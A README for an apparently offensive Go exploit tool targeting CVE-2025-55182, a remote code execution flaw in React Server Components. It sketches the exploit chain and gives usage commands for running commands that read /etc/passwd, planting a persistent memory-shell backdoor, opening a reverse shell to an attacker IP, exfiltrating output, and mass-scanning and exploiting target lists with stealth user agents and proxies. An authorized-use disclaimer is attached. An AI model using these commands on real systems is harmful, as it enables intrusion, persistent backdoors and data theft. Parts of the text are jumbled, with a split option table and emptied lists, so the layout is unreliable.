keklick1337/cve-2025-55182-golang-pocGo-based proof-of-concept for CVE-2025-55182, a critical RCE in React Server Components. Features vulnerability checking, command execution, memory shell injection, reverse shell, batch scanning, and proxy support for authorized security testing.
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️
CVE-2025-55182 (also known as CVE-2025-66478) is a critical Remote Code Execution vulnerability in React Server Components (Flight protocol). This tool is a Go implementation of the PoC for security research and authorized penetration testing.
Affected versions:
The exploit leverages prototype pollution in Flight protocol deserialization:
$@ deserialization to get a Chunk referenceChunk.prototype.then as the then property of root objectRESOLVED_MODEL to call initializeModelChunk with a controlled fake chunkresponse._formData.get with attacker payloadresponse._formData.get to Function constructor for arbitrary code execution/exec?cmd=Download the latest release for your platform from GitHub Releases.
Available binaries:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
After running ./build.sh, binaries will be available in the build/ directory for all supported platforms.
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
| Option | Description |
|---|---|
-u, --url | Target URL (e.g., http://localhost:3000) |
-f, --file | File containing target URLs (one per line) |
--urls | Alias for -f/--file |
-o, --output | Output file for vulnerable targets |
--json | Output results in JSON format |
-c, --command | Command to execute (with output) |
--check | Check for vulnerability |
--version-check | Detect Next.js version |
--proxy | Proxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Custom header (can be used multiple times) |
-k, --insecure | Skip SSL/TLS certificate verification |
--stealth | Stealth mode: browser, crawler, security (default: browser) |
--delay | Delay between requests (e.g., 2s, 500ms) |
--variants | Use multiple payload variants for thorough check |
--memshell | Inject memory shell (persistent backdoor) |
--test-shell | Test if memory shell is active |
--shell-exec | Execute command via memory shell |
--revshell IP PORT | Establish reverse shell |
--exfil CMD IP PORT | Execute command and POST output |
-t, --timeout | Request timeout in seconds (default: 15) |
--threads | Number of concurrent threads (default: 10) |
--workers |
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| Mode | Description |
|---|---|
browser | Mimics real browser requests (Chrome, Firefox, Safari, Edge) - default |
crawler | Mimics search engine crawlers (Googlebot, Bingbot, Baiduspider, etc.) |
security | Uses security scanner User-Agents (Nessus, Nuclei) |
The memory shell feature injects a persistent backdoor that:
cmd query parameter# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
The build.sh script builds for 30+ platforms:
chmod +x build.sh
./build.sh
When using --json flag, results are saved in JSONL format (one JSON per line):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
Full report (_report.json) includes:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
The tool can detect Next.js version from:
X-Powered-By header__NEXT_DATA__, /_next/ paths)Vulnerable versions are highlighted in red.
⚠️ IMPORTANT LEGAL NOTICE ⚠️
This tool is provided strictly for educational purposes and authorized security testing only.
It is strictly prohibited to use this tool:
Unauthorized access to computer systems is a criminal offense in most jurisdictions worldwide, including but not limited to:
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHORS AND COPYRIGHT HOLDERS SHALL NOT BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY ARISING FROM THE USE OF THIS SOFTWARE.
By downloading, installing, or using this tool, you acknowledge that:
If you do not agree with these terms, do not use this tool.
Vladislav Tislenko aka keklick1337
Date: 2025-12-05
This project is licensed under the MIT License - see the LICENSE file for details.
Use responsibly. Stay legal. 🔐
| Alias for --threads |
--nocolor | Disable colored output (for Windows/pipes) |
-h, --help | Show help message |
-v, --version | Show version |